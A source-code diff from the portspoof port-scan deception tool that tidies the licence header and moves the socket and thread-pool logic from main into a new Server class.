@ -16,16 +16,16 @@
* with this program; if not, see <http://www.gnu.org/licenses>. * with this program; if not, see <http://www.gnu.org/licenses>.
* *
* Linking portspoof statically or dynamically with other modules is making * Linking portspoof statically or dynamically with other modules is making
* a combined work based on portspoof. Thus, the terms and conditions of * a combined work based on Portspoof. Thus, the terms and conditions of
* the GNU General Public License cover the whole combination. * the GNU General Public License cover the whole combination.
* *
* In addition, as a special exception, the copyright holder of portspoof * In addition, as a special exception, the copyright holder of Portspoof
* gives you permission to combine portspoof with free software programs or * gives you permission to combine Portspoof with free software programs or
* libraries that are released under the GNU LGPL. You may copy * libraries that are released under the GNU LGPL. You may copy
* and distribute such a system following the terms of the GNU GPL for * and distribute such a system following the terms of the GNU GPL for
* portspoof and the licenses of the other code concerned. * Portspoof and the licenses of the other code concerned.
* *
* Note that people who make modified versions of portspoof are not obligated * Note that people who make modified versions of Portspoof are not obligated
* to grant this special exception for their modified versions; it is their * to grant this special exception for their modified versions; it is their
* choice whether to do so. The GNU General Public License gives permission * choice whether to do so. The GNU General Public License gives permission
* to release a modified version without this exception; this exception * to release a modified version without this exception; this exception
@ -34,61 +34,23 @@
*/ */
#include <sys/types.h>
#include <pthread.h>
#include <sys/timeb.h> #include "Server.h"
#include <sys/wait.h> #include "Configuration.h"
#include <err.h> #include "threads.h"
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include "revregex.h" #include "revregex.h"
#include "threads.h"
#include "connection.h" #include "connection.h"
#include "log.h" #include "log.h"
Configuration* configuration; Configuration* configuration;
Server* server;
pthread_cond_t new_connection_cond = PTHREAD_COND_INITIALIZER;
pthread_mutex_t new_connection_mutex = PTHREAD_MUTEX_INITIALIZER;
int choose_thread()
{
int i=MAX_THREADS-1;
int min = i;
while(i >=0)
{
if(threads[i].client_count < threads[min].client_count)
{
min = i;
}
i--;
}
if(threads[min].client_count==MAX_CLIENT_PER_THREAD)
return -1;
return min;
}
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
int sockd,newsockfd;
int addrlen;
//int pid;
struct sockaddr_in my_name, peer_name;
int status;
configuration = new Configuration(); configuration = new Configuration();
if(configuration->processArgs(argc,argv)) if(configuration->processArgs(argc,argv))
@ -99,22 +61,8 @@ int main(int argc, char **argv)
if(configuration->readConfigFile()) if(configuration->readConfigFile())
exit(1); exit(1);
/*
if(configuration->getConfigValue(OPT_FUZZ_NMAP))
{
if(configuration->PrepareFuzzer())
{
fprintf(stdout,"Fuzzer prepare failed!\n");
fflush(stdout);
exit(1);
}
fprintf(stdout,"-> Preparing fuzzer!\n");
}
*/
//check log file //check log file
if(configuration->getConfigValue(OPT_LOG_FILE)) if(configuration->getConfigValue(OPT_LOG_FILE))
@ -125,103 +73,12 @@ int main(int argc, char **argv)
fprintf(stdout,"-> Using user defined signature file %s\n",configuration->getSignatureFile().c_str()); fprintf(stdout,"-> Using user defined signature file %s\n",configuration->getSignatureFile().c_str());
fflush(stdout); fflush(stdout);
/* create thread pool */
for(int i = 0; i < MAX_THREADS; i++)
{
pthread_create(&threads[i].tid, NULL, &process_connection, (void *) i);
threads[i].client_count = 0;
}
/* create a socket */
sockd = socket(PF_INET, SOCK_STREAM, 0);
if (sockd == -1)
{
perror("Socket creation error");
exit(1);
}
int n = 1;
setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n));
/* server address - by default localhost */
my_name.sin_family = PF_INET;
if(configuration->getConfigValue(OPT_IP))
{
fprintf(stdout,"-> Binding to iface: %s\n",configuration->getBindIP().c_str());
inet_aton(configuration->getBindIP().c_str(), &my_name.sin_addr);
}
else
my_name.sin_addr.s_addr = INADDR_ANY;
if(configuration->getConfigValue(OPT_PORT))
{
fprintf(stdout,"-> Binding to port: %d\n",configuration->getPort());
my_name.sin_port = htons(configuration->getPort());
}
else
my_name.sin_port = htons(DEFAULT_PORT);
status = bind(sockd, (struct sockaddr*)&my_name, sizeof(my_name));
if (status == -1)
{
perror("Binding error");
exit(1);
}
// Set queue sizeof
status = listen(sockd, 10);
if (status == -1)
{
perror("Listen set error");
exit(1);
}
int choosen;
while(1)
{
/* wait for a connection */
addrlen = sizeof(peer_name);
newsockfd = accept(sockd, (struct sockaddr*)&peer_name,(socklen_t*) &addrlen);
if (newsockfd < 0)
perror("ERROR on accept");
else{
nonblock(newsockfd);
start:
pthread_mutex_lock(&new_connection_mutex);
choosen=choose_thread();
if( choosen == -1)
{
pthread_mutex_unlock(&new_connection_mutex);
sleep(1);
goto start;
}
if(configuration->getConfigValue(OPT_DEBUG)) //create portspoof
fprintf(stdout," new conn - thread choosen: %d - nr. of connections already in queue: %d\n",choosen,threads[choosen].client_count); server = new Server(configuration);
fflush(stdout); server->run();
for(int i = 0; i < MAX_CLIENT_PER_THREAD; i++)
{
if(threads[choosen].clients[i] == 0)
{
threads[choosen].clients[i] = newsockfd;
threads[choosen].client_count++;
break;
}
}
pthread_mutex_unlock(&new_connection_mutex);
}
}
return 0; return 0;
} }

0
src/portspoof.h Normal file → Executable file

@ -35,12 +35,6 @@
#include <pthread.h> #include <pthread.h>
extern pthread_cond_t new_connection_cond;
extern pthread_mutex_t new_connection_mutex;
#ifndef THREAD_VARS #ifndef THREAD_VARS
#define THREAD_VARS #define THREAD_VARS